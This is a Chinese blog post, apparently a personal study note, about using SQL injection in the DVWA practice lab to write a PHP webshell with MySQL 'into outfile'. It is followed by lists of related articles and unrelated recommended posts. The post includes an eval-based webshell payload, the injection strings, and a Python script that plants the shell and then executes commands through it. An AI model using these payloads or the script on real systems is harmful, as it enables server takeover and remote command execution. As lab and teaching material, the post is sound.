好好过你的生活,不要老是忙着告诉别人你在干嘛。

最近在复习学过的东西,自己就重新搭了个dvwa来学习新思路,写一些简单的脚本来练习写代码的能力。

众所周知SQL注入的危害是相当大的,对于每个老司机来说,如果发现注入点并可以利用的话,除了脱裤当然是猜解出管理员的用户名密码,后台登陆上传webshell了,虽然这些过程并不一定一路通顺,只是一般的流程,中途会遇到各种各样的问题,这些以后再说,当我这个菜比都学会了在分享出来吧。

今天我们说说利用sql注入漏洞写入webshell。当我们发现了注入漏洞,但是却找不到后台,该怎么办呢,如果数据库管理员权限比较大的话,我们可以通过sql注入向网站写入shell。

写入webshell的前提条件:

1.select into outfile方法可用(允许导出文件)

2.我们需要知道网站所在的绝对路径

3.我们有足够的权限

首先我们确定了注入点,接下来就是爆一下网站的绝对路径:

在输入框中输入,1' union select 'x','x' into outfile 'xx' -- 利用错误的sql语句,使数据库报错并返回绝对路径

现在已经获得了网站的绝对路径,接下来就是利用sql注入写shell了,在输入框中插入 1' union select "<?php @eval($_GET['cmd'])?>","hello admin" into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\dvwa\\hello.php' (需要注意,是两个"\") 点击提交,我们看一下是否上传成功

当我们输入 select 'xx' into outfile 'xxxx/xx/xx' -- 时 可能会遇到一下情况:

解决办法:找到my.ini文件 在最后一行加上一句 secure_file_prv="/"重启mysql即可。

============================================================附上自己写的自动化辣鸡代码=========================================================================

# -*- utf-8 -*-
import requests
import re headers = { 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh-CN,zh;q=0.8',
'Cache-Control':'max-age=0',
'Connection':'keep-alive',
'Cookie':'security=low; PHPSESSID=pie6uqttjqtnadq1b5dp8640u1',
'Host':'192.168.86.129',
'Referer':'http://192.168.86.129/dvwa/security.php',
'Upgrade-Insecure-Requests':'1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36' } url = raw_input('url:')
print '='*15,u'大爷稍等','='*15
payload = '%27+union+select+"<%3Fphp+%40eval%28%24_GET%5B%27cmd%27%5D%29%3F>"%2C"hello+admin"+into+outfile+%27C%3A%5C%5CphpStudy%5C%5CPHPTutorial%5C%5CWWW%5C%5Cdvwa%5C%5Chello.php%27+--+&Submit=Submit#'
url1 = requests.get(url+payload,headers=headers)
url2 = 'http://192.168.86.129/dvwa/hello.php'
url3 = requests.get(url2,headers=headers)
url4 = re.findall('<body>(.*?)</body>',url3.text)
if 'hello' in url3.text:
print u'webshell已写入,路径为:http://192.168.86.129/dvwa/hello.php'
else:
print u'写入失败'
print u'大爷您请便!'
url5 = 'http://192.168.86.129/dvwa/hello.php?cmd='
url6 = raw_input()
url7 = requests.get(url5+url6,headers=headers)
url8 = re.findall('<body>(.*?)</body>',url7.content) print url7.content

  

以此记录自己学过的知识,以防忘记,每天进步一点,共勉。

DVWA从注入到GETSHELL的更多相关文章

  1. 《11招玩转网络安全》之第四招:low级别的DVWA SQL注入

    以DVWA为例,进行手工注入,帮助读者了解注入原理和过程. 1.启动docker,并在终端中执行命令: docker ps -a docker start LocalDVWA docker ps 执行 ...

  2. 【sql注入教程】mysql注入直接getshell

    Mysql注入直接getshell的条件相对来说比较苛刻点把 1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道 2:gpc没有开启,开启了单引号被转义了,语句就不能正 ...

  3. [漏洞案例]thinkcmf 2.x从sql注入到getshell实战

    0X00 前言 这个案例是某项目的漏洞,涉及敏感的地方将会打码. 很久没更新博客了,放一篇上来除除草,新的一年会有所转变,以后会有更多领域的研究. 下面是正文 0X01 正文 某厂商某个网站用的是th ...

  4. DVWA命令注入扣动分析

    本周学习内容: 1.学习web应用安全权威指南: 2.观看安全学习视频: 实验内容: 进行DVWA命令注入漏洞 实验步骤: Low 1.打开DVWA,进入DVWA Security模块将 Level修 ...

  5. DVWA sql注入low级别

    DVWA sql注入low级别 sql注入分类 数字型注入 SELECT first_name, last_name FROM users WHERE user_id = $id 字符型注入 SELE ...

  6. SQL注入到getshell

    SQL注入到getshell 通过本地 pikachu来复现  前提: 1.存在SQL注入漏洞 2.web目录具有写入权限 3.找到网站的绝对路径 4.secure_file_priv没有具体值(se ...

  7. ZZZPHP1.61 代码审计-从SQL注入到Getshell

    近期有很多小伙伴在后台留言想看关于代码审计的文章,其实有关审计的文章网上资源是比较多的,但是从代码审计开始到结束的这类文章却少之甚少. 今天要讲解的ZZZPHP1.61这套审计漏洞比较多,SQL注入漏 ...

  8. 《11招玩转网络安全》之第五招:DVWA命令注入

    首先还是将DVWA的安全级别设置为Low,然后单击DVWA页面左侧的Command Injection按钮. ​ 图5-1  Low级别的命令注入 这个就是最典型的命令注入接口.在文本框中输入一个IP ...

  9. dvwa——命令注入&文件包含

    命令注入 commond_injection 源码.分析.payload: low: <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input ...

随机推荐

  1. 华为云配置Objected-based Storage System

    本实验要求基于开源的对象文件系统(例如Ceph),搭建视频点播(VoD)网站.可参考使用Ceph, wordpress, php 以及nginx 实现相关功能,主要包含以下方面: 配置Ceph; 配置 ...

  2. lammps-MD整体思路

    1.收敛性测试 (1)由不同尺寸模型(不同的原子数)和E的关系曲线,再确定尺寸n*n*n: 2.优化结构(nve-nvt-npt) 系综的实现方式(相关命令):https://www.cnblogs. ...

  3. 用 Python 写个七夕表白神器

    今天是七夕节,相比于现代人自创的 502,不对是 520,七夕才是中国传统意义上的情人节,本文分享几个 Python 表白程序,情侣可以现学现用,单身的话也可以先收藏一下,说不定下次就用上了. 爱心树 ...

  4. Appium学习笔记

    1.创建Maven项目 2.POM文件添加java-client依赖坐标 3.修改脚本,执行脚本 UIAutomator2(自动装置引擎) 4723:Appium服务器端口,用来监听脚本发送过来的指令 ...

  5. Spring Security使用数据库数据完成认证--练气后期2

    写在前面 没错,这篇文章还是练气后期!但作者我相信筑基指日可待! 在前一篇文章当中,我们简单地分析了一下Spring Security的认证流程,知道了如果想要实现对自己用户数据(账户.角色.权限)的 ...

  6. 【原创】探索云计算容器底层之Cgroup

    一.什么是Cgroup,使用场景? 容器本质上是进程,既然是进程就会消耗掉系统资源,比如:CPU.内存.磁盘.网络带宽等,如果不加以限制,容器在某些情况下就会无限制地吃掉宿主机的系统资源,显然这不是我 ...

  7. 分享几个好用的ui框架,以便开发

    1:Layui--经典模块化前端框架 地址:https://www.layui.com/ 2:iview--基于 Vue.js 的高质量 UI 组件库 地址:http://v1.iviewui.com ...

  8. 关于js中循环遍历中顺序执行ajax的问题(vue)

    js里的循环,每次都是自顾自的走,它不等ajax执行好走完到success代码,就继续循环下一条数据了,这样数据就全乱了. 后来,想到试试ajax里async这个属性,async默认是true,即为异 ...

  9. 在vue项目中使用scss

    1.首先安装依赖 npm install node-sass sass-loader --save-dev 2.找到build中webpack.base.conf.js,在rules中添加scss规则 ...

  10. Linux:用户账号、密码、群组、群组密码文件查看

    使用者账号密码存放文件:/etc/passwd, /etc/shadow 虽然我们登入 Linux 主机的时候,输入的是我们的账号,但是,其实 Linux 主机并不会直接认识你的『账 号名称』的,他仅 ...